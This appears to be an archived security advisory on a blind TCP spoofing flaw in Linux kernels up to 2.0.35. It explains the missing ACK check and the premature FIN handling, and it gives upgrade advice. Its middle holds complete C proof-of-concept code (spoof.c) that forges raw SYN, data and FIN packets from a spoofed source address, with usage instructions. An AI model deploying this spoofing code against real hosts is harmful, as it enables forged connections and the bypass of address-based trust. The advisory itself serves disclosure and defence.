COMMAND
tcp/ip
SYSTEMS AFFECTED
Linux up to and including 2.0.35
PROBLEM
Following is based on Network Associates (NAI) Security Advisory.
An implementation flaw in the Linux TCP/IP stack allows remote
attackers to forge TCP connections without predicting sequence
numbers and pass data to the application layer before a
connection is established. Analysis and documentation of this
problem was conducted by Anthony Osborne with the Security Labs at
Network Associates.
TCP is a reliable connection-oriented protocol which requires the
completion of a three way handshake to establish a connection. To
implement reliable and unduplicated delivery of data, the TCP
protocol uses a sequence based acknowledgment system. During
connection establishment each host selects an initial sequence
number which is sent in the first packet of the connection. Each
subsequent byte transmitted in the TCP connection is assigned a
sequence number. To prevent duplicate or invalid segments from
impacting established connections TCP utilizes a state based
model. In a typical client-server application, the client
initiates a connection by transmitting a TCP segment to a
listening server process. This causes the state of the process to
move from the LISTEN state into SYN_RECEIVE if a SYN flag is
present. During this state the server acknowledges the clients
request setting both the SYN and ACK flags. To complete the three
way handshake the client acknowledges the servers response, moving
the server from SYN_RECEIVE to ESTABLISHED state.
To establish a forged TCP session an attacker must have knowledge
of or be able to predict the initial sequence number that is
selected by the server. An implementation flaw in the Linux
kernel allows data to be delivered to the application layer before
the handshake has completed.
The combination of three flaws in the Linux TCP/IP implementation
contribute to the existence of a security vulnerability. Firstly,
Linux only verifies the acknowledgment number of incoming segments
if the ACK flag has been set. Linux also queues data from TCP
segments without acknowledgment information prior to the
completion of the three way handshake but after the initial SYN
has been acknowledged by the server. Finally, Linux passes data to
the application layer upon the receipt of a packet containing the
FIN flag regardless of whether a connection has been established.
Together, these flaws allow an attacker to spoof an arbitrary
connection and deliver data to an application without the need to
predict the servers initial sequence number. According to the
standard, there is only one case wherein a correct TCP/IP stack
can accept data in a packet that does not have the ACK flag set
--- the initial connection-soliciting SYN packet can contain data,
but must not have the ACK flag set. In any other case, a data
packet not bearing the ACK flag should be discarded. When a TCP
segment carries an ACK flag, it must have a correct
acknowledgement sequence number (which is the sequence number of
the next byte of data expected from the other side of the
connection). TCP packets bearing the ACK flag are verified to
ensure that their acknowledgement numbers are correct.
Vulnerable Linux kernels accept data segments that do not have the
ACK flag set. Because the ACK flag is not set, the acknowledgement
sequence number is not verified. This allows an attacker to send
data over a spoofed connection without knowing the target's
current (or initial) sequence number. Linux does not deliver
data received from a TCP connection when the connection is in
SYN_RECEIVE state. Thus, an attacker cannot successfully spoof a
TCP transaction to a Linux host without somehow completing the
TCP handshake. However, an implementation flaw in some Linux
kernels allows an attacker to bypass the TCP handshake entirely,
by "prematurely" closing it with a FIN packet. When a FIN packet
is received for a connection in SYN_RECEIVE state, Linux behaves
as if the connection was in ESTABLISHED state and moves the
connection to CLOSE_WAIT state. In the process of doing this, data
queued on the connection will be delivered to listening
applications. If the ACK flag is not set on the FIN segment, the
target's sequence number is not verified in the segment.
Jochen Thomas Bauer sent following. Here is some demonstration
code for the "Linux Blind TCP Spoofing" problem discovered by
NAI. If you have trouble compiling this, try it with -D_BSD_SOURCE
1.) receive.c
=============
This simple program creates a TCP socket and waits for a
connection. After the accept call returnes, it reads 8 bytes
from the socket and prints them on stdout.
usage: receive listen_port
2.) spoof.c
===========
This one sends a SYN packet, a Null packet (no flags at all)
with 8 bytes of data and a FIN packet to the target.
usage: spoof source_ip source_port target_ip target_port
Don't forget to disable host source_ip so it cannot send RST's.
This was tested on Linux 2.0.30. After the FIN packet is received
the accept call returnes and the read call gives the data sent
with the Null packet.
---------------------------- receive.c ---------------------------
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
main(int argc, char *argv[])
{
int i,n,dummy,new;
struct sockaddr_in address,source_addr;
char buffer[8];
address.sin_family = AF_INET;
address.sin_port = htons(atoi(argv[1]));
address.sin_addr.s_addr = 0;
if((i=socket(AF_INET,SOCK_STREAM,6))<0) /*create socket*/
{
perror("socket\n");
exit(1);
}
if((bind(i,(struct sockaddr *)&address,sizeof(struct sockaddr_in)))<0)
{ /*bind socket to address*/
perror("bind");
exit(1);
}
if((listen(i,2))<0)
{
perror("listen");
exit(1);
}
printf("listening on socket\n");
new=accept(i,(struct sockaddr *)&source_addr,&dummy);
if(new>0)
printf("connected!\n");
else
{
perror("accept");
exit(1);
}
fflush(stdout);
n=read(new,buffer,8);
printf("read %i bytes from socket\n",n);
printf("message is: %s\n",buffer);
}
----------------------------spoof.c-------------------------------
#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>
#define FIN 1
#define SYN 2
#define SEQ 20985
/*---------------Checksum calculation--------------------------------*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
/*----------------------------------------------------------------------*/
/*------------Send spoofed TCP packet-----------------------------------*/
int send_tcp(int sfd,unsigned int src,unsigned short src_p,
unsigned int dst,unsigned short dst_p,tcp_seq seq,tcp_seq ack,
u_char flags,char *buffer,int len)
{
struct iphdr ip_head;
struct tcphdr tcp_head;
struct sockaddr_in target;
char packet[2048]; /*the exploitation of this is left as an exercise..*/
int i;
struct tcp_pseudo /*the tcp pseudo header*/
{
__u32 src_addr;
__u32 dst_addr;
__u8 dummy;
__u8 proto;
__u16 length;
} pseudohead;
struct help_checksum /*struct for checksum calculation*/
{
struct tcp_pseudo pshd;
struct tcphdr tcphd;
char tcpdata[1024];
} tcp_chk_construct;
/*Prepare IP header*/
ip_head.ihl = 5; /*headerlength with no options*/
ip_head.version = 4;
ip_head.tos = 0;
ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct tcphdr)+len);
ip_head.id = htons(31337 + (rand()%100));
ip_head.frag_off = 0;
ip_head.ttl = 255;
ip_head.protocol = IPPROTO_TCP;
ip_head.check = 0; /*Fill in later*/
ip_head.saddr = src;
ip_head.daddr = dst;
ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
/*Prepare TCP header*/
tcp_head.th_sport = htons(src_p);
tcp_head.th_dport = htons(dst_p);
tcp_head.th_seq = htonl(seq);
tcp_head.th_ack = htonl(ack);
tcp_head.th_x2 = 0;
tcp_head.th_off = 5;
tcp_head.th_flags = flags;
tcp_head.th_win = htons(0x7c00);
tcp_head.th_sum = 0; /*Fill in later*/
tcp_head.th_urp = 0;
/*Assemble structure for checksum calculation and calculate checksum*/
pseudohead.src_addr=ip_head.saddr;
pseudohead.dst_addr=ip_head.daddr;
pseudohead.dummy=0;
pseudohead.proto=ip_head.protocol;
pseudohead.length=htons(sizeof(struct tcphdr)+len);
tcp_chk_construct.pshd=pseudohead;
tcp_chk_construct.tcphd=tcp_head;
memcpy(tcp_chk_construct.tcpdata,buffer,len);
tcp_head.th_sum=in_cksum((unsigned short *)&tcp_chk_construct,
sizeof(struct tcp_pseudo)+sizeof(struct tcphdr)+len);
/*Assemble packet*/
memcpy(packet,(char *)&ip_head,sizeof(ip_head));
memcpy(packet+sizeof(ip_head),(char *)&tcp_head,sizeof(tcp_head));
memcpy(packet+sizeof(ip_head)+sizeof(tcp_head),buffer,len);
/*Send packet*/
target.sin_family = AF_INET;
target.sin_addr.s_addr= ip_head.daddr;
target.sin_port = tcp_head.th_dport;
i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct tcphdr)+len,0,
(struct sockaddr *)&target,sizeof(struct sockaddr_in));
if(i<0)
return(-1); /*Error*/
else
return(i); /*Return number of bytes sent*/
}
/*---------------------------------------------------------------------*/
main(int argc, char *argv[])
{
int i;
unsigned int source,target;
unsigned short int s_port,d_port;
char data[]="abcdefg";
source=inet_addr(argv[1]);
s_port=atoi(argv[2]);
target=inet_addr(argv[3]);
d_port=atoi(argv[4]);
if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
{
perror("socket");
exit(1);
}
send_tcp(i,source,s_port,target,d_port,SEQ,0,SYN,NULL,0);
printf("SYN sent\n");
usleep(1000);
send_tcp(i,source,s_port,target,d_port,SEQ+1,0,0,data,8); /*no flags set*/
printf("data sent\n");
usleep(1000);
send_tcp(i,source,s_port,target,d_port,SEQ+9,0,FIN,NULL,0);
printf("FIN sent\n");
close(i);
}
SOLUTION
It is recommended that kernels below version 2.0.36 be upgraded to
eliminate this vulnerability. Updated kernel packages for Red
Hat Linux which are not vulnerable to this problem are available
from
http://www.redhat.com/support/docs/errata.html
Both Debian and Caldera Linux have been contacted regarding this
vulnerability although no official response has been received.
The latest stable versions of the Linux kernel are available from
http://www.kernel.org.